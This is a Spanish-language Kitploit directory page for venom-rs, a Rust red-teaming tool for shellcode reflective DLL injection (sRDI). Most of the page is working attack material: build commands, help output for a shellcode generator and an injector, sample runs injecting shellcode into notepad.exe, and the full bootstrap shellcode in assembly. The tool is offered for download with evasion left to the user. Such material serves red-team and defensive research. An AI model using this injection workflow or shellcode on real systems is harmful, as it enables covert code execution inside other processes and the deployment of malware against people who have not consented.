Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
venom-rs — Rusty Injection: inyección de DLL reflectante mediante shellcode (sRDI) en Rust (Nombre en clave: Venom) | Kitploit
Herramientas/GitHubGitHub/memn0ps/venom-rs
ShellcodePost-ExplotaciónRed TeamingGeneración de ShellcodeDesarrollo de PayloadsArchived
GitHubmemn0ps/venom-rs

venom-rs

Rusty Injection: inyección de DLL reflectante mediante shellcode (sRDI) en Rust (Nombre en clave: Venom)

Ver Repositorio
370485hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Inyección de DLL reflectante mediante shellcode (sRDI) en Rust (Nombre en clave: Venom)

La inyección de DLL reflectante mediante shellcode (sRDI) es una técnica de inyección de procesos que nos permite convertir una DLL determinada en código independiente de posición (PIC), que luego puede inyectarse utilizando nuestra técnica favorita de inyección y ejecución de shellcode.

Características

  • El tamaño del loader reflectante es de aproximadamente 4 KB.

  • No libera la memoria asignada por el inyector ni elimina los permisos RWX existentes establecidos por el inyector del usuario, si corresponde.

  • No sobrescribe ni borra los encabezados DOS o NT de la memoria recién asignada después/antes de resolver las importaciones o reubicar la imagen.

  • Aplica la configuración de protección para cada sección asignada por la función VirtualAlloc y, posteriormente, ejecuta las funciones DllMain o SayHello.

¿Y qué hay del OPSEC? Siéntete libre de implementarlo tú mismo :)

Uso

0). Instalar Rust

1). Compila todos los proyectos

root@kitploit:~
cargo build --release

2). Genera el shellcode.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe -h
Shellcode Reflective DLL Injection (sRDI)

Usage: generate_shellcode.exe [OPTIONS] --loader <LOADER> --payload <PAYLOAD> --function <FUNCTION> --parameter <PARAMETER> --output <OUTPUT>

Options:
      --loader <LOADER>        The reflective loader DLL path (loader.dll)
      --payload <PAYLOAD>      The payload DLL path (payload.dll)
      --function <FUNCTION>    The function to execute inside payload.dll (SayHello)
      --parameter <PARAMETER>  The parameter to pass to the function inside payload.dll (https://localhost:1337/)
      --output <OUTPUT>        The output file path (shellcode.bin)
      --flags <FLAGS>          The 0x0 flag will execute DllMain and any other flag will execute the function inside payload.dll (SayHello) [default: 1]
  -h, --help                   Print help
  -V, --version                Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

3). Trae tu propio inyector (BYOI) e inyecta el código independiente de posición con tu técnica favorita de inyección y ejecución, o usa el que se incluye en el repositorio.

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe -h
Simple Injector for PoC

Usage: inject.exe --process <PROCESS> --file <FILE>

Options:
      --process <PROCESS>  The target process name (notepad.exe)
      --file <FILE>        The PIC file path (shellcode.bin)
  -h, --help               Print help
  -V, --version            Print version
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

Ejemplo

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs> cargo build --release
    Finished release [optimized] target(s) in 0.04s
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs>

DLLMain

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 0 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: ???, arg6: 0
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin

[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e49950000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleDllMain.png

SayHello

root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\generate_shellcode.exe --loader .\reflective_loader.dll --payload .\payload.dll --function SayHello --parameter https://127.0.0.1:1337/ --flags 1 --output shellcode.bin

Loader Path: .\reflective_loader.dll
Payload Path: .\payload.dll
Output Path: shellcode.bin
[+] Reflective Loader Offset: 0x400
[!] Bootstrap Shellcode Length: 79 (Ensure this matches BOOTSTRAP_TOTAL_LENGTH in the code)
[+] Reflective Loader Length: 3584
[+] Payload DLL Length: 113664
[+] Total Shellcode Length: 117350
[*] loader(payload_dll: *mut c_void, function_hash: u32, user_data: *mut c_void, user_data_len: u32, _shellcode_bin: *mut c_void, _flags: u32)
[*] arg1: rcx, arg2: rdx, arg3: r8, arg4: r9, arg5: [rsp + 0x20], arg6: [rsp + 0x28]
[*] rcx: 0xe4a rdx: 0x756de3c6 r8: https://127.0.0.1:1337/, r9: 0x17, arg5: shellcode.bin addy, arg6: 1
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>
root@kitploit:~
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release> .\inject.exe --process notepad.exe --file .\shellcode.bin
[+] Process ID: 9944
[+] Process handle: 184
[+] Allocated memory in the target process for the shellcode: 0x19e499c0000
PS C:\Users\memN0ps\Documents\GitHub\srdi-rs\target\release>

./ExampleSayHello.png

Descripción

El shellcode de arranque (bootstrap):

root@kitploit:~
call 0x00
pop rcx
mov r8, rcx

push rsi
mov rsi, rsp
and rsp, 0x0FFFFFFFFFFFFFFF0
sub rsp, 0x30

mov qword ptr [rsp + 0x20], rcx
sub qword ptr [rsp + 0x20], 0x5
mov dword ptr [rsp + 0x28], <flags>

mov r9, <parameter_length>
add r8, <parameter_offset> + <payload_length>
mov edx, <parameter_hash>
add rcx, <payload_offset>

call <loader_offset>

nop
nop

mov rsp, rsi
pop rsi
ret

nop
nop

La disposición del archivo shellcode.bin en memoria:

sRDI

Créditos: Nick Landers @(monoxgas)

Referencias y créditos

  • https://www.netspi.com/blog/technical/adversary-simulation/srdi-shellcode-reflective-dll-injection/
  • https://github.com/monoxgas/sRDI
  • https://github.com/stephenfewer/ReflectiveDLLInjection/
  • https://discord.com/invite/rust-lang-community (Comunidad Rust, canal #windows-dev)
  • https://github.com/dismantl/ImprovedReflectiveDLLInjection
  • https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html
  • https://bruteratel.com/research/feature-update/2021/06/01/PE-Reflection-Long-Live-The-King/
  • https://github.com/Cracked5pider/KaynLdr
  • https://github.com/Ben-Lichtman/reloader/
  • https://github.com/not-matthias/mmap/
  • https://github.com/memN0ps/mmapper-rs
  • https://github.com/2vg/blackcat-rs/tree/master/crate/mini-sRDI
  • https://github.com/Jaxii/idk-rs/
  • https://github.com/janoglezcampos/rust_syscalls/
Descargar herramienta